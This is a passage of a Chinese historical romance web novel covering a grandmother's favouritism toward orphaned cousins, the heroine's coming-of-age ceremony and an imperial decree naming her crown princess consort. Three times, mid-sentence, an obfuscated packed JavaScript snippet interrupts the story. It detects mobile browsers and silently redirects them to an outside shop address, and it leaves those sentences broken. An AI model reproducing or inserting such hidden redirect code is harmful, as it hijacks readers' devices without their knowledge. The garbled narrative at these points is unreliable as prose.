欧阳沁翻身下马,随手将缰绳交给早等候在一旁的小厮,便朝柳、季二人站着的地方走了过去。 “都说了在你院子等,跑过来做甚!” 欧阳沁拧着眉,一副不赞同的表情,“仔细吹了风,回头着凉。” 柳安沅却浑然不在意,笑着挽上欧阳沁的臂弯,“我这段日子可憋闷坏了,只恨不得能早些见到你们呢!” 她昂着头,再度环视了一圈,而后不耐烦地啧了一声。 “……这是怎么?” 欧阳沁奇怪道,又询问似的望向元嘉。 元嘉也是一摇头,示意自己也不清楚。 “我先领你们去拜见祖母,然后再去堂姊的院子……那里可热闹的很!” 柳安沅嘴里这样说着,脸色却肉眼可见的不乐意。 欧阳沁与元嘉对视一眼,都看出了彼此眼中的疑惑,到底什么也没问,只由着柳安沅拍板决定。 “今日你是主家,自是听你安排的。” 欧阳沁轻轻拍了下柳安沅的手背,语气自然道。 柳安沅唔了一声,好歹调整了下表情,像是要和谁一争高下般,凶狠地跨着步子,朝柳老夫人的住处走去。 靖安郡主身份贵重,却也因多年无子而被柳老夫人所不喜,连带着柳安沅这个孙女,平日相处间也称不上热络。自然,柳安沅对这样一位祖母的感情也很冷淡。 可到底是长辈,有些礼数还是不能缺的。 跟着柳安沅跨进院子,元嘉二人逐渐敛了笑容,进屋后先是依礼拜见,得到应答后方才抬首,站在柳老夫人身边的两个年轻女郎旋即撞入眼帘——俱是十三、四岁的年纪,一个清冷灼然,恍若谪仙,一个笑靥如花,观之可亲。 也不知姓甚名谁,眉宇间倒与柳安沅有些相似,却还是从没在上京见过的生面孔。 元嘉不动声色地打量了一番,仍是闭口不言。 两个年轻女郎始终停在柳老夫人身后,见元嘉二人直起身子,脚下虽没有动作,却也浅浅行了个万福,算是见礼。 “昨日便交代了你母亲,让她今日领着两个小辈去人前走动熟悉。她倒好,假托事忙不过来也就罢了,竟让你来打发我……还带着外人!” 柳老夫人自然是认识元嘉和欧阳沁的,这会儿也没有半点顾及的意思,冷哼一声便当着两人的面发作了出来。 元嘉忍不住拧起了眉,这话说得可忒不好听。欧阳沁则是拦住想要反驳的柳安沅,毫不客气道:“老夫人,我等今日是为贺三娘子及笄而来,拿了帖子受了邀,专程到此。老夫人既为主家,还该以礼相待才是。动辄胡言,随意置喙,也是咱们与安沅相熟,不会真以为老夫人对郡主娘娘不满,可若叫那起子不知情的外人听了,怕是会说老夫人深怨这场与皇室的姻缘呢!” 此话一出,柳老夫人的脸色顿时生变,连带着身后的两个女郎,也下意识避开了欧阳沁审视的目光。 场面一时凝滞。 元嘉等了一会,才慢慢道:“欧阳将军行伍出身,又多在前朝走动,说话难免直了些,却也是一片真心,老夫人勿要怪罪。” 看似在打圆场,实际为点明欧阳沁武官的身份,一并提醒柳老夫人什么话该说,什么话不该说。 “母亲要帮着叔母操办堂姊的及笄宴,实在脱不开身,我这才帮着分担一二。如今人也见了,还要赶着去向堂姊送礼,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484908|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不打扰祖母休息了,这就离开……母亲早交代好了,一会儿自有人过来引两位表妹去席上相见。” 看着自家祖母有些难看的脸色,柳安沅心中郁气一扫而空,人也高兴了不少。敷衍般的一屈膝,拉着元嘉与欧阳沁便头也不回地离开了。 不想连院子都还没出,便被人从身后追了上来。 “表姊!” 大约是跑得急了些,来人有些气喘,却还是扬着声音喊道。 众目睽睽之下,柳安沅也不好真的充耳不闻,只气恼地跺了几下脚,停下来勉强道:“妹妹们还有事情?” 出来的是那位一直带笑的。 如今也仍是带笑模样,脸上却更添三分慌张,两只手往前伸着,似乎想把住柳安沅的手腕。 “……表姊,表姊不要生气!” 唯恐自己会被打断般,那人急急道:“我与阿姊初至上京,人生地不熟的,这才劳外祖母惦挂,又烦劳舅母诸多看顾。舅母与表姊事事尽心,妹妹们都是知道的,绝无有任何倚势自大的心思……表姊!” 说完,不等柳安沅反应,又朝着元嘉二人浅浅一福身,口中道:“方才匆忙,还未来得及自通名姓……妹妹姓万,闺名珍玉,里面是我的姊姊,名唤宝珠,问两位姊姊好!” 元嘉与欧阳沁亦是福身,算是回礼。 “妹妹误会了,实在是今日事多,母亲她怕招待不周冷落了客人,更担心忙碌之下怠慢了你们,这才特意另交代了人,让她们稍晚时候带着妹妹们过去,并无旁的意思。” 柳安沅这话说的极为顺畅,像是早打好了腹稿一般无有停顿。 万珍玉看着却有些失望。她咬着下唇,余光瞥见正默然站立的两人,眼睛顿时一亮,又迫不及待道:“不知两位姊姊姓甚名谁,日后若有机会,也好叫妹妹们上门拜见!” “……季元嘉。” “欧阳沁。” 万珍玉一听,笑意立时更大了些:“原是季家阿姊与欧阳家姊姊……难怪表姊会时常挂在嘴边呢,两位姊姊竟都是这般标致的人物!” 若说是客套,奉承的也未免太直接了……若说是套近乎,彼此间又都是第一次见面,哪里需要这样恭维? 欧阳沁淡淡一笑:“万娘子客气了,不过是因我三人相识多年,这才比旁人多了几分亲近罢了……实在当不得万娘子这样的夸赞。” 语带三分疏离,倒叫万珍玉脸上的笑僵了几分,犹自不死心道:“姊姊们莫要谦虚。姊姊们与表姊交情深厚不假,可妹妹说的也都是句句属实呢。两位姊姊皆国色之姿,妹妹见了也不免自惭形秽呢!” 这话便有些过了。 元嘉本来松开的眉头又一次皱了起来,到底念着是柳安沅的表亲,还是劝了一句:“万娘子是个实心人,可皇城脚下,说话也得注意些分寸,国色二字,又岂是能随便说出口的?” 其实根本不必元嘉提醒,万珍玉自己说完便知道错了话,不自觉捂住了嘴,脸上再不见笑意。 “我们还赶着去给堂姊送礼,再不好耽搁了,”柳安沅出言打断,“珍玉,你还是先回祖母身边罢,她老人家如今可是一刻也离不得你们呢。” 万珍玉一时语堵,上下唇几度翕张,实在找不出一个合适的理由,最终只能挫败地看着三人离去,自己则不甘不愿地回了屋。 8. 两风骨 将贺礼送去了三娘子院,又彼此客套了几句,元嘉方才与欧阳沁相携离开,又一起回了柳安沅住的芳华阁。 各自寻处坐下,神色皆放松不少。 “那万家的两位娘子,既是你的表妹,怎么之前竟从未见过?”元嘉端着茶盏,忍不住询问道,“柳老夫人似乎很喜欢她们,当着我俩的面就要给你和郡主娘娘难堪,往日也从来没有过阿……” “她们是我姑姑的女儿,从前都住在齐州,多少年都没回过上京了……这次也是来的匆忙,才收拾住下呢,府里上上下下还折腾了好一阵子!” 柳安沅仰头饮下大半杯茶,带着连自己都没察觉出的抱怨意味,慢吞吞地答起话来。 “这是要过来小住?” 欧阳沁随口猜测一句,随即又被自己否决,“可她们瞧着比你还小上一些……才过正月呢,齐州又与上京两个方向,路途更是遥远,这会儿都在你家住下了,怕不是才翻了年便出发了,万家人怎么会同意的?” “你还说她们来的匆忙……” 元嘉也觉察出了不对劲。 柳安沅勉强勾了勾唇角,“万家姑父早逝,姑姑冬月间也病故了,她俩举目无亲,这才过来投奔。” “柳二娘竟去世了,京中怎的一点风声都无?” 两人大吃一惊,先是为这位名声在外的柳家二娘子叹息感慨,又不免对万家姊妹的境遇唏嘘起来。 好一阵才道:“瞧着、当是要长住了……老夫人那边,怕也是护得厉害。” 从前便对柳安沅冷淡,如今又来了两个心肝似的外孙女,今后还不知会如何慢待呢…… 元嘉忍不住叹了口气。 “早护着了!” 柳安沅发出一声轻哼,一副不吐不快的样子,“祖母一收到她们要来上京的信件,立刻便把我娘叫去问话了,只恨不得能造出座宫殿来安置这两个外孙女呢!” “阿娘她细细择了好几个地方,可祖母就是不满意,变着法的挑刺!不是嫌院子太小,就是嫌地方太偏,又或是担心丫鬟婆子们夜里行走间惊了人。好不容易选定了住处,又开始嫌弃屋内的陈设摆件太过老气,要开了库房一一换掉,如此这般地来回折腾……直到人要来的前一日,都还没把新院子腾置出来。” “我娘也不是没见过这两个侄女,也可怜她们小小年纪便失了父母,起初也是存了好生照顾的心思的,可祖母她老人家偏偏要摆出这样一副姿态……万家表妹到的前一晚,她又将我娘唤去问话,明里暗里指责我娘不尽心。我娘本就憋了一肚子的气,当即便问了一句,‘这几日,不知母亲想让两位小娘子住在哪处’。我那祖母倒好,说什么我与她们年纪相仿,又是表亲,不若住在一起,也好多几分亲近,丫鬟婆子们伺候,也少些脚程!我娘当时就冷了脸,直言国公府再不济,也没有叫娘子们挤在一处的规矩!” “这样的话,祖母她也说的出口!” “今日让我与她们挤在一处,明日是不是还要我主随客便,自个儿搬出芳华阁不成!” 柳安沅气得两目通红,“说起来,我娘半点也没怠慢过她们!虽有前般的诸多事情,却还是一来便紧着人先住进了家中最好的客房,里面的陈设摆件,有些连我都没见过,丫鬟婆子更是安排了一堆,唯恐叫她们住得不舒心!我那祖母倒好,当着下人的面就在抱怨,今日又故意在你们面前提起,倒像是真把人苛待了一般!” “好了好了,别气了,气坏了身子多不值当,”元嘉抬手将茶水续满,又推至柳安沅身前,“老夫人毕竟失了女儿,对这唯剩的两个外孙女难免偏心些……咱们既清楚这些,以后少与她们来往、碰面就是了。万家两位娘子有你祖母心疼,柳家阿沅却有咱们心疼呢!” 柳安沅被逗的笑出声,脸色却好了不少。 “咱们阿沅今日也很厉害了,答起话来有理有据,由始至终也没失了分寸,实在了不得呢!” 欧阳沁眨了眨眼睛,也跟着夸起人来。 两个人一唱一和的,倒把柳安沅的火气给一点点磨掉了。 “都打了不知道多少次交道了,”柳安沅嘟囔着,“我还能不知道她们……明明都是姑姑的女儿,却没一个随了姑姑的风骨。” “……这又是什么说法?” 元嘉开口前,先观察了下柳安沅的神色,见她已彻底没了怒气,此刻开口更像是怀念,又夹杂着几丝遗憾,遂试探般问道。 “嘉儿,你瞧着她两人如何?” 柳安沅反问道。 元嘉沉默一瞬,才带着几分不确定开口:“宝珠娘子今日不曾开口,我一时也看不出旁的。珍玉娘子么,倒对咱们挺积极的,也对、交友识人挺积极的……” 元嘉笑了一下,到底说的含糊了些。 “何止是积极,”柳安沅嗤了一声,“这些日子,我与她们日日见面,再怎样也瞧出了些东西……那万珍玉,不论见谁都一副笑脸相迎的模样——分明还在孝期呢,对外张口便是夸赞,对己却是处处自轻。在我祖母面前,又从来一副解语花的模样,偶尔迎风落泪还能再挣几句可怜。才来几日,便将她老人家哄得心花怒放,半刻钟也离不得。” “寄人篱下过活,总得为自己寻些倚仗罢?” 欧阳沁有些迟疑地反驳,“她二人初来乍到,不知柳公爷与郡主娘娘是何脾性,便只能抓住一定会心疼她们的外祖母了。如此,倒也不难理解……” “我就是觉得可惜。” 柳安沅盯着早散了热气的茶水,有些失神,“姑姑她当年何等出色……喜欢诗赋,便自幼刻苦钻研;喜欢书法,便练得一手好字;喜欢万家姑父,便自己登门订下了姻缘,又带着许多车的藏书嫁去了齐州。” 元嘉两人是知道这位柳二娘子的。 如今上京许多女郎练字用的临帖,便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484909|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是柳二娘未出阁前习的《快雪时晴帖》。这是位有名的才女,在词赋上的造诣不输同辈儿郎,一手簪花小楷更是写得出神入化,不仅在上一辈中名声颇佳,便是元嘉这一辈,也不乏有对其向往的男女。 柳二娘嫁的夫婿也是书香世家出身,虽在词赋上稍逊一筹,丹青造诣却颇高,与二娘子称得上是对神仙眷侣。只可惜天不假年,婚后不过数载便去世了,柳二娘伤心欲绝之下,自此封笔,再不见诗作流传。 “……姑父去世后,齐州有流言说其克夫,连带着万家也生了怨言。姑姑便带着女儿独自寡居,不靠万家,也拒了国公府的帮忙,自己以教书写字为生……直到年前病逝。” 竟是这样一番缘由,实在是令人唏嘘…… “那,阿沅在可惜什么?” 元嘉轻声问道。 “姑姑她骄傲了一辈子,便是被污蔑为克夫之人,也不愿狼狈地回上京求娘家庇护……我就是可惜,那万珍玉只是个瞧人脸色过活的人,失了姑姑的一身傲骨。而万宝珠,瞧着冷冷清清、不染一尘,实际却是个孤芳自赏、处处不肯落人下乘的性子,白白毁了那一身的气度!” 同样是失父失母,欧阳沁初时处境更难,却远比她二人自立自强,更一力撑起了欧阳家的门楣…… 柳安沅看着欧阳沁因常年驻边而饱经风霜的侧脸,忍不住想道。 元嘉却有些沉默。 她也不知道万家姊妹是否真的可惜,可大抵能比跟在自家母亲身边时过得更好。于一事精者,于它事疏,柳二娘有寄情之物,便不觉日子难熬,她的女儿们却未必如此…… 思来想去也没个结果,反还把自己思绪搅得一团乱麻,元嘉干脆学着柳安沅的样子,盯着眼前的茶盏发愣,又叹着气一口饮尽。 又过了会儿,有侍女过来传话,三人这才收了情绪,再度往三娘子院子走去。 柳三娘子的及笄宴办得热闹,除了交好的年轻女郎们,场上还有不少已婚的贵妇人。至于抱的什么心思,便也不言而喻了。 柳安沅也算是半个主家,这会儿被靖安郡主遣来的侍女叫去一道帮忙了。元嘉则和欧阳沁一起,默默站在一众人群当中,看着眼前热闹无比的场面各自不言,偶有相识的女郎上前交谈,倒也不至全然没有趣味。 不远处,万珍玉站在几位年纪相仿的女郎身边,微微侧耳作倾听状,不时凑兴一句,偶尔还能听见几声脆亮的笑,全然不见拘谨的样子,更看不出分毫刚来上京的模样。 另一侧的万宝珠,相较于妹妹,则显得要冷淡许多。兀自将背脊挺得笔直,又一个人站在角落,偶有好奇的女郎上前攀谈,却是人说十句,自己才堪堪答上一句,一来二去,来往万宝珠身边的人便渐渐少了。 元嘉不自觉分出一丝极隐晦的目光,心里又开始胡思乱想起来—— 柳二娘若在天有灵,是会欣慰居多,还是抱憾更多? 9. 及笄日 结束了柳三娘子的笄礼,便离元嘉自己及笄的日子不远了。但因元嘉是家中长女,又是季氏此代头一位及笄的小娘子,季连夫妇在筹备仪式时又格外慎重了些,尤其是在正宾的人选上。 思来想去许久,最后还是季母拍的板,专程上宿国公府请了靖安郡主作正宾,前者自是无有不应。 事实上,靖安郡主并非最佳的正宾人选。 凡笄礼正宾,多为儿女双全、贤良淑德的已婚妇人,靖安郡主其实并不算匹配。可季母却觉得,若为一个寄意,让元嘉如靖安郡主一般或许更好——得个恩爱情浓的夫婿,生个伶俐活泼的孩子,性子与婚前别无二致,日子过得顺风顺水。而他们家,也自可给女儿底气。 定好了正宾,下面的事就好办了。 柳安沅与欧阳沁,分别做了元嘉的有司与赞者。至于笄礼的邀帖,更是早于月前便发了出去。两边亲眷,同僚好友,季连夫妇都请了个遍,足见其对元嘉的重视。 …… 三月初三,上巳节,亦是元嘉的笄礼日。 元嘉早早地就起了身,坐在妆台前拾掇梳妆,身边除了贴身服侍的盼春几人,便是欧阳沁与柳安沅相陪。至于季连、季元泓夫妇,则分别在外院接待宾客,与人应酬寒暄,不时收下祝礼。 宾客俱至,吉时亦渐至,元嘉在一众人的陪伴下入了东房等候,偏作为正宾的靖安郡主却迟迟不见人影。 有相熟者低声询问,季母面上倒还镇定,甚至还笑着解释了几句,心里却有些没底。靖安郡主不是会刻意晚到的人,昨日又特意说了要早来……只怕是遇上了什么事,临出门时被耽搁了。 思及此,季母不免有些担心。 好在又过了一刻钟,靖安郡主总算姗姗来迟。 身边却还多了一人——熙宁公主。 季连夫妇顿时一惊,季母更有些控制不住表情,近乎失礼地看向靖安郡主。后者站在熙宁公主身侧,不着痕迹地拧眉摇头,季母随即意识到自己的不妥,连忙上前见礼,口中呼道:“熙宁公主康安!” 周围人也跟着反应过来,乌泱泱地跪倒一片。 “诸位不必多礼,都起来罢!” 熙宁公主温言道:“听说靖安姑姑做了季大娘子笄礼的正宾,本宫实在是好奇,便不请自来了,还请季将军、季夫人莫要见怪。” 说着,身子竟微微一俯。 两人连忙避开,又拱手回话:“得公主驾临,舍下蓬荜生辉,何谈见怪。公主说这话,反倒是折煞微臣了。” 熙宁公主粲然一笑:“好,那便都进去罢,可别耽误了季娘子的好时辰!” “……是!” 季连垂首应下,又与其他人一起拥着熙宁公主入内。 因着这一通突如其来的变故,季母少不得要头疼一下场内的座次问题。熙宁公主身份贵重,自然不能安排在普通的宾客区,如此,便只能让熙宁公主落座主宾位了。进屋后又是好一通忙碌,才终于安排好了一切,其余宾客也先后落座,元嘉的及笄礼这才开始。 初加笄,二加簪,三加钗冠。 这是笄礼不变的仪式,季家自然也从旧俗,且早早备好了笄、簪、钗冠等物。靖安郡主跪坐在前,柳安沅与欧阳沁从旁配合,换笄插簪时都很顺利,唯在戴钗冠时出了变故。 元嘉笄礼用的钗冠,本该由自家准备,但靖安郡主疼爱晚辈,自觉做了元嘉的正宾,便一并备下了钗冠——以宝石珍珠装点,是顶极漂亮的花冠。可如今被柳安沅捧在托盘上的,却无端多了两只衔珠金凤。 钗冠被换过了,宝石花冠成了凤鸟衔珠缠花枝形金冠…… 瞧着,竟还是宫内的手艺。 靖安郡主眼神一凝,手里的动作也不自觉停了下来,询问般地看向自家女儿,却见柳安沅也锁着眉头,偏众目睽睽之下不敢有大的动作,只用眼角余光瞥向一旁正兴致盎然围观的熙宁公主。 这还有什么不明白的……可一路同行,她竟不知道熙宁公主是何时备下的,又是如何换出来的。 两人迟迟不见动作,一旁观礼的人不免有些议论,连元嘉也投来了疑惑的目光。靖安郡主忙压下心头猜测,自托盘上取过钗冠,跪坐在元嘉面前,第三次吟颂道—— “以岁之正,以月之令,咸加尔服。兄弟具在,以成厥德。黄耇无疆,受天之庆①。” 元嘉垂头任其动作,而后还礼起身,又一次回到东房内改换上大袖礼服。 再出来时,靖安郡主已持醴酒等待。她走到元嘉身前,满目疼惜,口中祝辞道:“甘醴惟厚,嘉荐令芳。拜受祭之,以定尔祥。承天之休,寿考不忘②。” 元嘉始终敛目不语,垂着脑袋躬身还礼,又接过靖安郡主递来的醴酒,手腕微动,一半撒于地面,一半与唇齿相沾,以示自己入口,而后放下酒具,又接过柳安沅奉上的粳米饭,同样贴上唇齿,浅浅一沾。 最后,起身跪坐至季连夫妇面前,敛目聆训,须臾后方开口道:“儿虽不敏,敢不祗承!” 又是一个深深的拜礼。 如此这般,笄礼方成。 季连扶着季母起身,扬声道:“小女笄礼已成,多谢各位宾朋列席同观!” 众人亦起身回礼,而后慢慢围拥上来,你一言我一句的说着贺语。熙宁公主却没有急着起身,依旧坐在原地,噙着莫名的笑意又看了好一会儿的热闹,直等到围拥在季连身边的人散去少许,靖安郡主也重新入座后,方整衣上前,笑盈盈道:“恭喜季将军,恭喜季夫人。令嫒及笄,好大的喜事,这及笄宴也办得实在热闹……本宫今日可算是来对了。” 季连拱手道:“哪里哪里!” 却也是难掩愉悦,可见季连对长女的喜爱。 闻言,熙宁公主面上的笑意更大了些,“既有喜事,不若本宫再来个喜上加喜,便算是本宫给季娘子送上的祝礼了,如何?” 季连一时怔愣,靖安郡主更闪过一丝不妙的念头,只是还不等众人做出反应,清宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14484910|154513||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫的掌事内官,一直默默随在熙宁公主身后的陆时英便走了出来,高声道—— “季氏女接旨!” “臣女在!” 元嘉心下一沉,身体的反应在这一刻快过大脑,只随着陆时英的话伏身听旨。伴随着元嘉的动作,周围人也意识到了什么,紧随其后跪倒在地。 “奉天承运皇帝,诏曰:配德元良,必俟邦媛,作俪储贰,允归冠族。云麾将军季连长女,门袭轩冕,家传义方,柔顺表质,幽闲成性,训彰图史,誉流邦国,正位储闱,寔惟朝典。可皇太子妃③。兹定于六月初八完婚。一切仪礼,交由礼部与太史局共同操办。钦此!” 不详的预感在这一刻化作了现实,元嘉只觉脑袋一懵,恍惚间不知身在所处,只强撑出镇定模样接了旨,起身却是五味杂陈。 “……这是母后特意为你赶制的礼冠,贺你及笄。凤鸟衔珠金花冠,果然衬你。” 熙宁公主拉过元嘉的手,笑着夸了一句,“不过本宫瞧着,还是九钿花钗冠更配你!” 九钿花钗冠,那是只有太子妃才有资格佩戴的礼冠。 “多谢皇后殿下,多谢公主。” 元嘉的失态好像只在几瞬之间,旋即又恢复了冷静。饶是如此,她面对熙宁公主的夸赞,却也只能做到简单道谢,再多的也说不出口了。 “今日你最尊贵,什么都当得,什么也都受得……诸位说,是不是阿!” 熙宁公主凤眸轻挑,噙着一抹浅笑问道。 众人自然附和,又连声道贺起来,暗里却感叹季家走了大运,往后便是皇亲国戚了。 季母笑呵呵地上前,带着喜气道:“公主为着我这不成器的丫头,亲自来这一趟,臣妇实在惶恐。” 至于是真的高兴,还是逢场作戏,便只有季家人自己知道了…… “季娘子是个有福气的人,父皇母后跟前也颇得佳评,太子得了个好媳妇。” 熙宁公主笑意更浓。 “宴时已至,公主不若先行入席,咱们一边吃酒,一边说话!” 靖安郡主看着眼前局面,默默在心底叹了口气,又上前帮话道。 “本宫就不留了,母后还在宫里等本宫的信儿呢,”熙宁公主摆摆手,“往后有的是机会,便不急于这一时了。” 说完,竟是转身便离去了,一如来时的风风火火。 众人又是行礼,直到熙宁公主一行完全消失在季府门外,才慢慢直起身。 “恭喜季将军了!” “季大娘子好福气!” “季将军大喜阿!” 没了熙宁公主在场,剩下的又大多与季家相熟,彼此说话间皆随意了不少,道贺声不绝于耳。 季连心下沉重,面上却丝毫不显,只客气道谢,又呼喊仆从开席饮宴。 元嘉站在一众热闹之中,后背却冰凉。 分明是她自己的及笄宴,如今却成了恭维皇室的交际场了…… 当真讽刺。 10. 意难纾 “嘉儿……” 顾氏,便是元嘉的兄嫂,此刻看着元嘉苍白的脸,欲言又止。 席已毕,人亦散,连柳安沅与欧阳沁也被元嘉好言好语劝走了,两个小的也被奶母带回了各自的屋子休息,此刻还留在幽篁院的,不过季连与季元泓两对夫妇。 元嘉有些倦累地靠坐在圈椅上,失了说话的气力。她微微昂头,将视线停在屋顶横梁那一排展翅欲飞的雀鸟纹样上,两目却茫茫。 诏书就在元嘉的手边搁着,上面的每个字被她细看了无数遍,朱笔御印做不得假。所以她是真的被选为了太子妃…… 不是在梦境,也不是谁的恶意作弄,是真的。 “我本想着,你日后嫁人,定要选个自己中意的,不拘权贵世家,总归恩爱顺常便好,”季母瞧着自幼疼爱的长女,良久道,“可如今,这样与皇室的缘分,也不知是好是坏。” “是好是坏都已经接下了,女儿在这件事上本也没有选择的权利。” 元嘉这会儿谁也不看,也说不出任何好听的话,搭着扶手的指尖用力到有些发白。 “隔墙有耳,须慎言!” 季元泓的脸色亦是难看,整个人带着显而易见的躁意,却还是残留了一丝理智。 屋内再次陷入一片死寂。 元嘉使劲闭了闭眼睛,羽睫轻颤,深深呼吸了好几次,才觉魂归□□,人也清醒了些。 终于,她道:“太子很好,女儿能嫁给他亦是高攀……或许真如熙宁公主所言,这是女儿的福气罢。” 不是自暴自弃的丧语,也不是愤气填胸的怨言,是元嘉最终归于冷静后的清醒之想。 “……嘉儿?” 顾氏犹豫着轻唤。 “已被推上了这条路,便只能再不回头地往前走了……我不信自己会过不好!” 元嘉抿着嘴,眼中透出一丝决意。 季连嘴唇微动,想再说些什么,却最终闭口不言。作为大周的臣子,他在这件事上没有选择的权利,只能寄望于元嘉自己想通。可真等到自家女儿开口的时候,他却又不受控制地生了怨怼之心……为什么偏偏是他们家呢? “我的元娘,分明该得世间最好的儿郎才是……” 季母喃喃道。 “太子身份贵重,德才兼备,又生得神采英拔,如何算不得最好的儿郎?” 元嘉抬手搭在季母的手背上,竟反过来安慰起人来。 “他想做别人的多情郎,算什么——” 季母狠狠咬住下唇,终究没有说出口。 男子再娶,女子另嫁,在大周本也不是什么新鲜事。可若其中一方的心里还有个念念不忘的前人,于另一方而言,便称不上是什么好事了……太子燕景祁,自先太子妃薛氏逝后一直对其难舍,在上京城里众人皆知。 “……夫人。” 季连面色凝重,他极轻地摇了摇头,示意季母噤声。 “阿娘,无事的。” 元嘉笑了笑,“我好歹是皇后殿下选的,又得了今上的赐婚诏书,便是太子对我冷淡也无妨,谁也越不过我去……若、能再与他做对相敬如宾的夫妻,便更是意外之喜了。” “今日哪知明日事,”顾氏蹙着眉头,“往后的日子还长着呢。嘉儿,不要这样早就说些泄气的话,焉知好福气不是在后头等着你呢!” 元嘉歪着脑袋,眼底荡着惑意,似乎在为众人的宽慰之语不解。她沉默了一下,还是道:“我并非是不想争,只是觉得没有必要……活人终究难及死人,与其索求太子不知哪一年才有的真心,还不如顺势而行,做个世人眼里称职又无可挑剔的太子妃。那才是我的前程,我的福气。” “……元娘,你当真是这样想的吗?” “是。” 元嘉沉默一瞬,还是点了头。便是从前没这么想过,今后也只会这么想了,她只是有些遗憾,自己这一辈子,或许再难有男女之情了。 “好,好!你怎么想便怎么做,只记住一点,家里人永远都会是你最坚实的倚仗!” 季连亦下定了决心。 “谢谢爹爹。” 元嘉又笑了起来。 “……累了一日了,早些回去休息罢。之后怕是有无数双眼睛会盯着咱们,养足精神,才好为日后打算。”季连顿了一下,又道,“泓儿,随我来。” 说罢,先行起身去了书房。 季母握住元嘉的手,叮嘱道:“我让小厨房做了桂圆莲子羹,待会让徐妈妈给你拿过去,喝了再睡,养心安神。” 元嘉嗯了一声,“那女儿就先回去了。” 顾氏也跟着起身,“阿娘,那我也回去了。”又朝元嘉道:“嘉儿,咱们一道走?嫂嫂送你回去。” “那便麻烦嫂嫂了。” 两人朝季母屈了屈膝,这才离开。 一路上,顾氏沉默不语,元嘉也没有再说话的兴致,两人就这样彼此无言。直至要分别时,顾氏才骤然醒神,“许久未去过你的居胥阁了,嘉儿若不嫌嫂嫂叨扰,我便再厚着脸皮讨口水喝。” “嫂嫂何时与我这般客气了?我巴不得嫂嫂日日来我的院子做客呢!” 元嘉一怔,随即反应过来。大抵是担心她假装释怀,故意在父母和兄长面前强撑无事,这才借了喝水的由头,想要再纾解一二。 元嘉一面进屋,一面打发着盼春几个离开,“我同嫂嫂许久未说过体己话了,你们都先下去罢。” 盼春指挥着其他人离开,自己则留下来道:“之前便传话回来让他们备好了热茶,娘子与少夫人可用些。”又朝两人一福身,“奴婢就在门外守着,娘子与少夫人若有吩咐,唤奴婢一声便是。” 说罢,便与顾氏身边的人一起离了里屋,又细心将门扉掩上。 “方才你哥哥和公爹他们都在场,我实在不好多问,”顾氏拉着元嘉往侧榻上一坐,“嘉儿,你当真想好了么……眼下就你我两个,若有什么不忿不满,你只管发泄出来,千万不要闷在心里,没的害了自己的身子。” 她本就是元嘉的表姊,情谊非比寻常,如今又嫁给季元泓做了元嘉的嫂嫂,自然是盼着元嘉什么都好,什么也都顺顺当当的……可偏偏,得了个不知好坏的婚事。 元嘉的眼中闪过一丝暖意,她笑着将手搭在顾氏的手背之上,温声道:“想好了,真的想好了,不求恩爱情浓,但求相互敬重。说来也是天家的恩典,放旁的人家不定有多高兴呢,偏咱们家跟遇到了洪水猛兽似的,所有人躲都得不成样子……明明是百利而无一害的。” “哪得什么利,又避什么害……” 顾氏偏过头不看元嘉,心中仍是难过。 “嫂嫂,嫂嫂……静则!” 元嘉轻轻唤了一句,见她仍不肯抬头,只好又换了个称呼。 静则,便是顾氏的闺名,自她嫁给季元泓之后,元嘉便甚少再唤此名,只唤顾静则嫂嫂以示礼数。 “没良心的东西,我这是替你难过呢!” 顾静则抬起头,眼眶微红地盯着元嘉,故作凶狠道。 元嘉失笑,搭在顾静则手背上的手微微收紧,握住后又讨好似的摇了摇。 顾静则感受着手背上的温热触感,忍不住瞪了人一眼,只道:“说罢,我听着呢!” “……静则,你还记得去叔父家团年的那次么?” 顾静则不解其意,但还是点了头。 “三叔父一家,还有那位老夫人,明明与咱们都彼此厌弃,却在那日到的齐全,从前再多龃龉也生生等到一起吃过午饭才走,更全然不理会咱们的冷淡态度。” “……我倒是听你哥哥提过,”顾静则垂目回忆,“说是老太爷那边起了心思,大病一场后竟念起他另外两个儿子来。三叔父一家怕失了眼前的许多好处,所以才来咱们这儿讨好,也算是试探。” “从前废了许多工夫才撇去的关系,闹腾了不知多久……如今倒好,打量着族中老辈们不管不顾,就又想缠上来了。” 元嘉意有所指。 这便是又一桩旧事了。 大周历代以孝治天下,以至于有了“父母在,不分家”的俗习。季家此代三兄弟,季老爷子也尚在人世,却偏偏分家近十年,甚至当年一度将这件事情闹上了朝堂。 